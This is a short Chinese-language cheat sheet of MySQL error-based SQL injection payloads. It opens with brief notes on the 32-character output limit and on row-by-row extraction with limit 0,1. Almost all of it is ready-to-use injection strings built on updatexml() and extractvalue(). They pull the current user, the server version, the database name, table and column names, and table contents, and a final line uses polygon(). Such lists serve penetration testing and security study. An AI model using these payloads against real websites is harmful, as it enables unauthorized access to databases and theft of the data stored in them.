1. 该函数最大显示长度为32,超过长度可以配合substr,limit等函数
2. 报错注入不能使用group_concat()函数直接将所有信息获取出来,只能一条一条获取,而且必须使用limit 0,1控制

爆出当前用户名
id=1' and updatexml('~',concat('~',(select user())),'~') --+
爆出MySQL 版本
id=1' and updatexml('~',concat('~',(select version())),'~') --+
爆出当前数据库的库名
id=1' and updatexml('~',concat('~',(select database())),'~') --+
爆出当前数据库的表名
id=1' and updatexml('~',concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),'~') --+
爆出某表的列名
id=1' and updatexml('~',concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1)),'~') --+
爆数据
id=1' and updatexml('~',concat('~',(select concat(列名1,列名2) from 表名 limit 0,1)),'~') --+
爆出当前用户名
id=1' and extractvalue(1,concat('~',(select user()))) --+
爆出MySQL 版本
id=1' and extractvalue(1,concat('~',(select version()))) --+
爆出当前数据库的库名
id=1' and extractvalue(1,concat('~',(select database()))) --+
爆出当前数据库的表名
id=1' and extractvalue(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1))) --+
爆出某表的列名
id=1' and extractvalue(1,concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='表名' limit 0,1))) --+
爆数据
id=1' and extractvalue(1,concat('~',(select concat(列名1,列名2) from 表名 limit 0,1))) --+
可在concat中添加分隔符 更方便数据的获取
id=1' and extractvalue(1,concat('~',(select concat(列名1,'~',列名2,'~',列名3) from 表名 limit 0,1))) --+
?id=1' and polygon(id) --+

